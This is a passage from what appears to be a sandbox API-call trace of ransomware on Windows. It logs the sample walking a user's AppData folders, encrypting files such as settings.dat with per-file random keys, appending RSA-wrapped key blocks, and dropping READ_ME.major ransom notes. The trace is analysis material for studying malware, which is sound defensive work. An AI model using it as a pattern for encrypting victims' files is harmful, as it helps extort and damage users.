nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0200.466] FindNextFileW (in: hFindFile=0x30fbd40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0200.467] FindNextFileW (in: hFindFile=0x30fbd40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0200.467] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.467] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0200.467] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1158 [0200.467] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0200.468] ReadFile (in: hFile=0x1158, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.512] SetFilePointer (in: hFile=0x1158, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.512] WriteFile (in: hFile=0x1158, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.512] SetFilePointer (in: hFile=0x1158, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0200.512] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.512] WriteFile (in: hFile=0x1158, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.512] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.512] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.513] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.513] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jc6/fmoyA3smvf7ga7ci/wTUmfoOxZRQxq/WC1e7LyiSvWp1RHGoIrBgFw8r3Lu9\nePIyP0MSuSxGmMYbQ4uYl8lB+hZ1QgMX0ajQM6eJi2eUtIUq+8mEBs8MR5MAEraa\nwz7dexjwDbOe4j7UPszhWXXurmMt9ZnJ8NM55Yfyt+jKOyS/ytRRTb53M07idezq\nYQJIVNcMYiZ1yfbTCELjIqiXwC7jU67oqXgQkjdgBq6zytNqCV+jGka4doKGDTFC\nFWwhxgF6n3ZE6K1u5zZcwxD+L24PcQfhduMFbMDfObXUFBJAJYfPMwvP9qbqDQIw\no8RqwtnWHYPln31L6yUgUQ==\n", pcchString=0x2e3f9a8) returned 1 [0200.513] WriteFile (in: hFile=0x1158, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.513] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.513] WriteFile (in: hFile=0x1158, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.513] CloseHandle (hObject=0x1158) returned 1 [0200.516] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.516] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0200.517] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1158 [0200.517] GetFileSizeEx (in: hFile=0x1158, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0200.517] ReadFile (in: hFile=0x1158, lpBuffer=0x59d320, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.517] SetFilePointer (in: hFile=0x1158, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.518] WriteFile (in: hFile=0x1158, lpBuffer=0x59d2d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.518] SetFilePointer (in: hFile=0x1158, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0200.518] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.518] WriteFile (in: hFile=0x1158, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.519] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.519] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.519] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.519] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="CvIyIn0cYGvSct7O2qOp1h+v1rfZL/J9BuUAd2q4ITIxRijMLXlHR4i9iL45XT57\n6wXrmhov6x8TLC1UBV9G9xq8Gma9ydCC7+rfCOijKjhDPs0zYeKQYsHSUrmQ1qgV\nrX7Gv0X1VLnBQTJ977jqimAclinAe+kaoQesJvgxrEAlhRZIlswEQNlU6BAMfy2B\nN9yxS/eVylpBgkpaqcbKKUsWjxOHue/Sy0xn3SWtOt3NNWGdaQ9D+9+Kp2ZaQO2f\nwxO0fqd6VQzK25Soe5uZ1dId1qxjeqDGBb9fAOw2lMDDHeuRnNF16H8ckF+8uLb6\n6E8SWxFVzAIjgbVXUBk5tA==\n", pcchString=0x2e3f9a8) returned 1 [0200.519] WriteFile (in: hFile=0x1158, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.519] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.519] WriteFile (in: hFile=0x1158, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.519] CloseHandle (hObject=0x1158) returned 1 [0200.521] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbd80 [0200.521] FindNextFileW (in: hFindFile=0x30fbd80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.521] FindNextFileW (in: hFindFile=0x30fbd80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b8c883, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b8c883, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.521] FindNextFileW (in: hFindFile=0x30fbd80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b8c883, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b8c883, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.522] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbe80 [0200.522] FindNextFileW (in: hFindFile=0x30fbe80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.522] FindNextFileW (in: hFindFile=0x30fbe80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b8c883, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b8c883, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.522] FindNextFileW (in: hFindFile=0x30fbe80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b8c883, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b8c883, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.522] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3722267d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbdc0 [0200.522] FindNextFileW (in: hFindFile=0x30fbdc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3722267d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.522] FindNextFileW (in: hFindFile=0x30fbdc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d927d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x825856ce, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0200.523] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1164 [0200.524] WriteFile (in: hFile=0x1164, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.525] CloseHandle (hObject=0x1164) returned 1 [0200.525] FindNextFileW (in: hFindFile=0x30fbdc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d92f43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x825856ce, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0200.525] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1164 [0200.526] WriteFile (in: hFile=0x1164, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.527] CloseHandle (hObject=0x1164) returned 1 [0200.527] FindNextFileW (in: hFindFile=0x30fbdc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d9368b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x825856ce, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0200.527] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1164 [0200.527] WriteFile (in: hFile=0x1164, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.528] CloseHandle (hObject=0x1164) returned 1 [0200.528] FindNextFileW (in: hFindFile=0x30fbdc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30b8c883, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b8c883, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.528] FindNextFileW (in: hFindFile=0x30fbdc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d93da9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x825856ce, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0200.529] FindNextFileW (in: hFindFile=0x30fbdc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d93da9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x825856ce, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0200.529] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8255f469, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d945b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee5108 [0200.529] FindNextFileW (in: hFindFile=0x2ee5108, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8255f469, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d945b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.529] FindNextFileW (in: hFindFile=0x2ee5108, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b8c883, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b8c883, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30bb29a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.529] FindNextFileW (in: hFindFile=0x2ee5108, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b8c883, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b8c883, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30bb29a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.529] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d94c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x30d0a057, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee5548 [0200.529] FindNextFileW (in: hFindFile=0x2ee5548, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d94c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x30d0a057, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.529] FindNextFileW (in: hFindFile=0x2ee5548, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d0a057, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30d0a057, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30d0a057, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.529] FindNextFileW (in: hFindFile=0x2ee5548, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d0a057, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30d0a057, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30d0a057, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, 